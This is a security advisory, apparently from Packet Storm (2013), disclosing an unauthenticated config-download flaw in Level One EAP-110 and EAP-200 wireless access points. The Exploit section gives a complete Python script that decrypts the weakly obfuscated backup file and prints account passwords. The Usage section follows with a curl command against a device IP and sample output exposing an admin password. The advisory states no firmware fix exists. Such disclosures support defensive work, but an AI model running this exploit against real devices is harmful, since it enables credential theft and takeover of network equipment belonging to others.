Level One Enterprise Access Points Password Disclosure

2013-10-17T00:00:00
ID PACKETSTORM:123641
Type packetstorm
Reporter Richard Weinberger
Modified 2013-10-17T00:00:00

Description

                                        
                                            `Level One Enterprise Access Points Password Disclosure  
======================================================  
  
Summary:  
--------  
  
Level1 EAP Devices offer a function do download the device  
config file.  
This download mechanism is not properly protected such that  
an attach can download the config file without authentication.  
Further is the config file only protected by pseudo crypto  
and contains all passwords in plain text.  
  
Known vulnerable:  
-----------------  
  
EAP-110  
EAP-200  
  
Firmware version: 2.00.03  
Build number: 1.50-1.5045  
  
Others may also vulnerable, the firmware image looks very generic.  
So far we had only access to EAP-110 and 200 devices.  
  
For both devices no firmware update is available.  
Side note: Level1 has never released a firmware update  
for the said devices.  
  
Details:  
--------  
  
http://<device-ip>/backupCfg.egi is used to download the device  
configuation.  
If the user is not authenticated it will redirect to  
http://<device-ip>/utilities/backup.asp which will query for  
username and password.  
But the backupCfg.egi CGI does not terminate after sending the  
HTTP 302 redirect.  
Any HTTP client which does not follow redirects is therefore able  
to download the config file.  
  
The encrypted config file can easily decrypted with our  
tellpassword.pl script.  
  
Credits:  
--------  
  
David Gstir <david@sigma-star.at>  
Richard Weinberger <richard@sigma-star.at>  
  
Exploit:  
--------  
  
---cut---  
# tellpassword.py  
#  
# Extracts user accounts from Level1 (ip4net)  
# EAP-200 (and other) Wifi Access Points  
#  
# (c) 2013 sigma star gmbh  
  
import sys, re  
  
attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"")  
  
if (len(sys.argv) != 2):  
print "USAGE: %s config-backup.conf" % sys.argv[0]  
exit(1)  
  
# decrypt config  
encrypted = open(sys.argv[1], 'rb')  
plain = open('plain.xml', 'w')  
cntr = 0  
encrypted.seek(128)  
byte = encrypted.read(1)  
print "Decrypting config file into plain.xml"  
while byte:  
plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80  
plain.write(chr(plainOrd))  
cntr = (cntr + 1) % 0x40  
byte = encrypted.read(1)  
encrypted.close()  
plain.close()  
  
# find user accounts  
print "Parsing accounts..."  
plain = open('plain.xml', 'r')  
for line in plain:  
if "<user" in line:  
user = None  
password = None  
for match in attribRegex.finditer(line):  
attrib = match.group(1)  
if attrib == "name":  
user = match.group(2)  
elif attrib == "password":  
password = match.group(2)  
if len(password) > 0:  
print " - %s: %s" % (user, password)  
plain.close()  
---cut---  
  
Usage:  
------  
  
$ curl http://10.59.5.15/backupCfg.egi > config-backup.conf  
$ python tellpassword.py config-backup.conf  
Decrypting config file into plain.xml  
Parsing accounts...  
- admin: #gs#1  
  
  
`